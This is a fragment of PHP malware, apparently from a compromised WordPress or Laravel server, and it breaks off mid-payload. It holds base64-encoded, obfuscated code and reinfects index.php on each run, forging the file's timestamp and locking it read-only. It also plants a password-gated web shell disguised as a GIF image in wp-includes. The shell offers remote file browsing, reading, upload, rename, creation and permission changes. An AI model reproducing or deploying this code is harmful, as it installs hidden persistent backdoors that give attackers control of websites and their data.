SFRDYTU6IEtZWkJhX0VRM2Rad0kwXzogZ290byB0N1VoMGdrUnJ0UkJ4RXQ7IFlqdTJlSzNhcFhucU1WYjogS0w1X0owYVRJdTRXXzU1OiBnb3RvIE4zc2tfaUhiVzBWazM0bzsgUGpuSExTQUg5U1J3S25XOiBRcjlpek5UeWFMME1ta1Q6Cj8+Cjw/cGhwDQoNCnVzZSBJbGx1bWluYXRlXENvbnRyYWN0c1xIdHRwXEtlcm5lbDsNCnVzZSBJbGx1bWluYXRlXEh0dHBcUmVxdWVzdDsNCg0KZGVmaW5lKCdMQVJBVkVMX1NUQVJUJywgbWljcm90aW1lKHRydWUpKTsNCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBDaGVjayBJZiBUaGUgQXBwbGljYXRpb24gSXMgVW5kZXIgTWFpbnRlbmFuY2UNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfA0KfCBJZiB0aGUgYXBwbGljYXRpb24gaXMgaW4gbWFpbnRlbmFuY2UgLyBkZW1vIG1vZGUgdmlhIHRoZSAiZG93biIgY29tbWFuZA0KfCB3ZSB3aWxsIGxvYWQgdGhpcyBmaWxlIHNvIHRoYXQgYW55IHByZS1yZW5kZXJlZCBjb250ZW50IGNhbiBiZSBzaG93bg0KfCBpbnN0ZWFkIG9mIHN0YXJ0aW5nIHRoZSBmcmFtZXdvcmssIHdoaWNoIGNvdWxkIGNhdXNlIGFuIGV4Y2VwdGlvbi4NCnwNCiovDQoNCmlmIChmaWxlX2V4aXN0cygkbWFpbnRlbmFuY2UgPSBfX0RJUl9fLicvLi4vc3RvcmFnZS9mcmFtZXdvcmsvbWFpbnRlbmFuY2UucGhwJykpIHsNCiAgICByZXF1aXJlICRtYWludGVuYW5jZTsNCn0NCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBSZWdpc3RlciBUaGUgQXV0byBMb2FkZXINCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfA0KfCBDb21wb3NlciBwcm92aWRlcyBhIGNvbnZlbmllbnQsIGF1dG9tYXRpY2FsbHkgZ2VuZXJhdGVkIGNsYXNzIGxvYWRlciBmb3INCnwgdGhpcyBhcHBsaWNhdGlvbi4gV2UganVzdCBuZWVkIHRvIHV0aWxpemUgaXQhIFdlJ2xsIHNpbXBseSByZXF1aXJlIGl0DQp8IGludG8gdGhlIHNjcmlwdCBoZXJlIHNvIHdlIGRvbid0IG5lZWQgdG8gbWFudWFsbHkgbG9hZCBvdXIgY2xhc3Nlcy4NCnwNCiovDQoNCnJlcXVpcmUgX19ESVJfXy4nLy4uL3ZlbmRvci9hdXRvbG9hZC5waHAnOw0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IFJ1biBUaGUgQXBwbGljYXRpb24NCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfA0KfCBPbmNlIHdlIGhhdmUgdGhlIGFwcGxpY2F0aW9uLCB3ZSBjYW4gaGFuZGxlIHRoZSBpbmNvbWluZyByZXF1ZXN0IHVzaW5nDQp8IHRoZSBhcHBsaWNhdGlvbidzIEhUVFAga2VybmVsLiBUaGVuLCB3ZSB3aWxsIHNlbmQgdGhlIHJlc3BvbnNlIGJhY2sNCnwgdG8gdGhpcyBjbGllbnQncyBicm93c2VyLCBhbGxvd2luZyB0aGVtIHRvIGVuam95IG91ciBhcHBsaWNhdGlvbi4NCnwNCiovDQoNCiRhcHAgPSByZXF1aXJlX29uY2UgX19ESVJfXy4nLy4uL2Jvb3RzdHJhcC9hcHAucGhwJzsNCg0KJGtlcm5lbCA9ICRhcHAtPm1ha2UoS2VybmVsOjpjbGFzcyk7DQoNCiRyZXNwb25zZSA9ICRrZXJuZWwtPmhhbmRsZSgNCiAgICAkcmVxdWVzdCA9IFJlcXVlc3Q6OmNhcHR1cmUoKQ0KKS0+c2VuZCgpOw0KDQoka2VybmVsLT50ZXJtaW5hdGUoJHJlcXVlc3QsICRyZXNwb25zZSk7");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuY